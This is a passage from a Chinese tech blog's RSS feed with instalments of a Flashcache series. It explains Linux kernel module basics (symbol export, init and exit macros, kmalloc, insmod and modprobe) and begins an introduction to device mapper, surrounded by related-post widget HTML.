                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">转载：EMC存储平台Symmetrix DMX-3在淘宝网成功应用</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Oracle Database Internals Newsletter October 2007" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle_database_internals_newsletter_october_2007.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712066.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Oracle Database Internals Newsletter October 2007</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table><img src="http://www1.feedsky.com/t1/611199577/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199577/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" />
<p><a href="http://feedads.g.doubleclick.net/~a/_ff2hv0wigai9GTm6Bs_-W5iVHg/0/da"><img src="http://feedads.g.doubleclick.net/~a/_ff2hv0wigai9GTm6Bs_-W5iVHg/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/_ff2hv0wigai9GTm6Bs_-W5iVHg/1/da"><img src="http://feedads.g.doubleclick.net/~a/_ff2hv0wigai9GTm6Bs_-W5iVHg/1/di" border="0" ismap="true"></img></a></p>]]></content:encoded><wfw:commentRss>http://www.ningoo.net/html/2012/all_things_about_flashcache_4.html/feed</wfw:commentRss><slash:comments>1</slash:comments><description>年底事情比较多，中断了一段时间，这一篇总算要说到Flashcache本身了。由于是内核模块，安装的时候需要内核源码树。具体的安装过程可以参考这里。 make -j 4 KERNEL_TREE=/usr/src/kernels/2.6.32-131.0.15... &lt;table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;"&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5"&gt;&lt;b&gt;&lt;font size="-1"  style="display: block !important; padding: 20px 0 5px !important;"&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;"&gt;
                    &lt;a target="_blank" title="深入浅出Flashcache（一）" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;深入浅出Flashcache（一）&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="Oracle12G将不再支持裸设备？" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fraw_devices_to_be_desupported_in_oracle12g.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;Oracle12G将不再支持裸设备？&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="oracle11g for windows版本发布" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle11g_for_windows_is_out.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712041.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;oracle11g for windows版本发布&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="使用jpgraph绘制数据库监控图形" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2009%2Fuse_jpgraph_for_database_monitor.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710375.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;使用jpgraph绘制数据库监控图形&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="Oracle11g新特性：Flashback Data Archive" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle_11g_new_feature_flashback_data_archive.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712363.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;Oracle11g新特性：Flashback Data Archive&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5" align="right"&gt;
            &lt;a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件"&gt;
                &lt;font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;"&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src="http://www1.feedsky.com/t1/611199577/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199577/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" /&gt;</description><category>tmpfs</category><category>dmsetup</category><category>flashcache</category><category>loop device</category><category>技术</category><pubDate>Tue, 10 Jan 2012 13:38:32 +0800</pubDate><author>NinGoo</author><comments>http://www.ningoo.net/html/2012/all_things_about_flashcache_4.html#comments</comments><guid isPermaLink="false">http://www.ningoo.net/?p=2325</guid><dc:creator>NinGoo</dc:creator><fs:srclink>http://www.ningoo.net/html/2012/all_things_about_flashcache_4.html</fs:srclink><fs:srcfeed>http://www.ningoo.net/feed/</fs:srcfeed><fs:itemid>feedsky/NinGoo/~1461473/611199577/1237504</fs:itemid></item><item><title>深入浅出Flashcache（三）</title><link>http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199578/1237504/1/item.html</link><content:encoded><![CDATA[<p>前文简单介绍了<a href="http://www.ningoo.net/html/2011/all_things_about_flashcache_1.html">block device</a>和<a href="http://www.ningoo.net/html/2011/all_things_about_flashcache_2.html">device mapper</a>。有了这两个基础，再来看flashcache的代码，就容易理解多了。Flashcache是一个内核模块，要更清晰的理解代码，还需要了解一下内核模块编写的一些基础知识。好吧，虽然对于内核编程我完全是个门外汉，这里还是需要现学现卖下。所以这一篇还是不会切入正题，已经熟悉Linux内核模块的同学请忽略并耐心等待。</p>
<p>Linux内核支持动态的加载模块（Loadable Kernel Module，LKM）以完成某些特定的功能，模块编程需要按照一定的格式以便可以和内核交互。</p>
<p><strong>5. 内核符号表</strong></p>
<p>内核模块之间的交互需要通过特定的共享变量和函数，这些都需要输出到内核符号表。在模块编程中使用EXPORT_SYMBOL来进行定义。在内核中则使用了<a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/module.h#L35">kernel_symbol</a>结构来保存符号表信息。</p>
<p><span id="more-2287"></span></p>
<pre>
# 内核编程基本上都需要包含如下三个头文件。
#include&lt;linux/kernel.h&gt;
#include&lt;linux/module.h&gt;
#include&lt;linux/init.h&gt;

#内核符号表结构体
struct kernel_symbol
{
    unsigned long value; #函数地址
    const char *name;    #函数名
};

# 导出符号的宏定义
#define EXPORT_SYMBOL(sym) __EXPORT_SYMBOL(sym, "")

#define __EXPORT_SYMBOL(sym, sec)                               \
        extern typeof(sym) sym;                                 \
        __CRC_SYMBOL(sym, sec)                                  \
        static const char __kstrtab_##sym[]                     \
        __attribute__((section("__ksymtab_strings"), aligned(1))) \
        = MODULE_SYMBOL_PREFIX #sym;                            \
        static const struct kernel_symbol __ksymtab_##sym       \
        __used                                                  \
        __attribute__((section("__ksymtab" sec), unused))       \
        = { (unsigned long)&#038;sym, __kstrtab_##sym }
</pre>
<p>输出的符号表可以在<strong>/proc/kallsyms</strong>查看到。</p>
<p><strong>6. 模块入口/退出函数</strong></p>
<p>一般的c程序的入口函数是main，但模块的入口函数是<a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/init.h#L257">module_init</a>，退出函数则是<a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/init.h#L269">module_exit</a>。当内核启动或者执行insmod时执行module_init定义的函数，到内核关闭或者rmmod时执行module_exit定义的函数。</p>
<pre>
#define module_init(x)  __initcall(x);
#define module_exit(x)  __exitcall(x);
</pre>
<p>当然，还有一些宏定义了模块的一些信息，如<br />
<a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/module.h#L135">MODULE_AUTHOR</a><br />
<a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/module.h#L138">MODULE_DESCRIPTION</a><br />
<a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/module.h#L99">MODULE_ALIAS</a><br />
<a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/module.h#L129">MODULE_LICENSE</a><br />
<a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/module.h#L142">MODULE_PARM_DESC</a></p>
<p><strong>7. 内存分配</strong></p>
<p>内核中不能使用用户空间的malloc()和free()来分配/回收内存。而需要使用内核空间的内存分配/回收工作，常用的有<a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/slab_def.h#L128">kmalloc</a>/<a href="http://lxr.linux.no/linux+v2.6.32.49/mm/slab.c#L3755">kfree</a>，基于slab内存分配算法：</p>
<pre>
void *kmalloc(size_t size, gfp_t flags)
void kfree(const void *objp)
</pre>
<p>对于slab内存分配器，这里不再详细展开。通过<strong>/proc/slabinfo</strong>或者<strong>slabtop</strong>可以查看slab内存分配的一些情况。</p>
<p>另外，在内核中也不能使用用户态的printf来输出信息，而需要使用内核态的printk。</p>
<p><strong>8. 模块工具</strong></p>
<p><strong>8.1 insmod</strong><br />
Linux模块编译好以后一般是.ko文件，通过执行insmod可以将编译好的模块加载到内核中。在装载内核模块时，用户可以向模块传递一些参数：</p>
<pre>
$ sudo insmod mod_name var=key
</pre>
<p><strong>8.2 rmmod</strong><br />
rmmod则用来卸载已经加载到内核的模块</p>
<pre>
$sudo rmmod mod_name
</pre>
<p><strong>8.3 lsmod</strong><br />
lsmod可以列出已经加载到内核中的模块</p>
<pre>
lsmod
Module                  Size  Used by
nf_conntrack_ipv6       8785  1
aes_i586                7244  2
aes_generic            26755  1 aes_i586
ipt_MASQUERADE          1315  0
xt_state                 930  2
...
</pre>
<p>也可以通过<strong>/proc/modules</strong>来获取内核模块列表。</p>
<p><strong>8.4 modinfo</strong></p>
<p>查看某个模块的信息</p>
<pre>
$ modinfo raid0
filename:       /lib/modules/2.6.36-ningoo/kernel/drivers/md/raid0.ko
alias:          md-level-0
alias:          md-raid0
alias:          md-personality-2
description:    RAID0 (striping) personality for MD
license:        GPL
srcversion:     2CFE19548162CD6E80EE58B
depends:
vermagic:       2.6.36-ningoo SMP mod_unload modversions CORE2
</pre>
<p><strong>8.5 modprobe</strong></p>
<p>modprobe是一个比较强大的工具，既可以列出已经安装的模块信息，也可以用来加载/卸载模块，并且能够处理同时将依赖的模块自动进行加载。</p>
<pre>
$ modprobe -l

$ sudo modprobe -r mod_name
$ sudo modprobe mod_name
</pre>
<p><strong>/etc/modprobe.conf</strong>和<strong>/etc/modprobe.d/</strong>保存了一些modprobe可能用到的配置。</p>
<p>未完待续</p>
<p>参考：<br />
[1] <a href="http://www.kerneltravel.net/?page_id=8">2.6内核模块编程实例指导</a><br />
[2] <a href="http://blog.csdn.net/tigerjb/article/details/6010997">小白学Linux之内核模块编程</a></p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="深入浅出Flashcache（四）" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">深入浅出Flashcache（四）</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="SSD硬盘时代即将到来？" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fssd_harddisk_is_coming_soon.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14711646.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">SSD硬盘时代即将到来？</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Windows平台不支持32k的block size" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fcan_not_use_32k_block_size_on_windows.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712511.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Windows平台不支持32k的block size</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="SSD硬盘的IO性能测试" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fa_ssd_orion_test.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710895.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">SSD硬盘的IO性能测试</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Oracle11gR1 for Linux可以下载了" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle11gr1_for_linux_x86_can_download_now.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712488.png" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Oracle11gR1 for Linux可以下载了</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table><img src="http://www1.feedsky.com/t1/611199578/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199578/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" />
<p><a href="http://feedads.g.doubleclick.net/~a/4_L2ab-qW8HXUt7mfOsTglIyRb4/0/da"><img src="http://feedads.g.doubleclick.net/~a/4_L2ab-qW8HXUt7mfOsTglIyRb4/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/4_L2ab-qW8HXUt7mfOsTglIyRb4/1/da"><img src="http://feedads.g.doubleclick.net/~a/4_L2ab-qW8HXUt7mfOsTglIyRb4/1/di" border="0" ismap="true"></img></a></p>]]></content:encoded><wfw:commentRss>http://www.ningoo.net/html/2011/all_things_about_flashcache_3.html/feed</wfw:commentRss><slash:comments>1</slash:comments><description>前文简单介绍了block device和device mapper。有了这两个基础，再来看flashcache的代码，就容易理解多了。Flashcache是一个内核模块，要更清晰的理解代码，还需要了解一下内核模块编写的一些基础知... &lt;table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;"&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5"&gt;&lt;b&gt;&lt;font size="-1"  style="display: block !important; padding: 20px 0 5px !important;"&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;"&gt;
                    &lt;a target="_blank" title="深入浅出Flashcache（四）" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;深入浅出Flashcache（四）&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="SSD硬盘时代即将到来？" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fssd_harddisk_is_coming_soon.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14711646.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;SSD硬盘时代即将到来？&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="Windows平台不支持32k的block size" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fcan_not_use_32k_block_size_on_windows.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712511.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;Windows平台不支持32k的block size&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="SSD硬盘的IO性能测试" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fa_ssd_orion_test.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710895.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;SSD硬盘的IO性能测试&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="Oracle11gR1 for Linux可以下载了" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle11gr1_for_linux_x86_can_download_now.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712488.png" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;Oracle11gR1 for Linux可以下载了&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5" align="right"&gt;
            &lt;a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件"&gt;
                &lt;font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;"&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src="http://www1.feedsky.com/t1/611199578/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199578/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" /&gt;</description><category>linux</category><category>Module</category><category>kernel</category><category>flashcache</category><category>内核</category><category>技术</category><pubDate>Sat, 10 Dec 2011 01:50:51 +0800</pubDate><author>NinGoo</author><comments>http://www.ningoo.net/html/2011/all_things_about_flashcache_3.html#comments</comments><guid isPermaLink="false">http://www.ningoo.net/?p=2287</guid><dc:creator>NinGoo</dc:creator><fs:srclink>http://www.ningoo.net/html/2011/all_things_about_flashcache_3.html</fs:srclink><fs:srcfeed>http://www.ningoo.net/feed/</fs:srcfeed><fs:itemid>feedsky/NinGoo/~1461473/611199578/1237504</fs:itemid></item><item><title>深入浅出Flashcache（二）</title><link>http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199579/1237504/1/item.html</link><content:encoded><![CDATA[<p><a href="http://www.ningoo.net/html/2011/all_things_about_flashcache_1.html">前文</a>简单的介绍了block device，别急，虽然这个系列的主要目的是介绍Flashcache，这一篇还是不会切入正题，因为我们还需要先了解下什么是device mapper。</p>
<p>假如一台主机插入了多块硬盘，单块硬盘的容量和性能都是有限的，如果能将多块硬盘组合一个逻辑的整体，对于这台主机来讲，就实现了最简单意义上的“云存储”。有很多方法可以实现这个目的，比如Raid卡硬件，比如现在很流行的分布式文件系统的replica机制，等等。Linux内核也看到了这个需求，于是2.6有了device mapper，当然device mapper不只是满足这一个需求，对于多路径IO也做了支持。</p>
<p><strong>3. Device Mapper</strong></p>
<p>简单来讲，Device Mapper是一种组合多个块设备变成一个逻辑块设备的机制。</p>
<p>Device Mapper的设计实现主要分为三层： </p>
<ul>
<li>Mapped Device： 映射出的逻辑设备</li>
<li>Mapping Table： 映射规则表</li>
<li>Taget Device： 底层的实际设备（可以是物理的块设备，也可以是Device Mapper映射出的逻辑设备），根据组合规则的不同，实际设备的使用方式不一样，区分为不同的类型。</li>
</ul>
<p><img src="http://www.ningoo.net/wp-content/uploads/2011/12/device_mapper.gif" alt="" /><br />
(图片出处：参考[1])</p>
<p>Target device的类型，内核自带的几种包括（linux/include/linux/device-mapper.h）：</p>
<p><span id="more-2262"></span></p>
<ul>
<li>linear: 线性，顺序使用target</li>
<li>mirror: 镜像，类似于Raid 1</li>
<li>stripped： 条带，类似Raid 0</li>
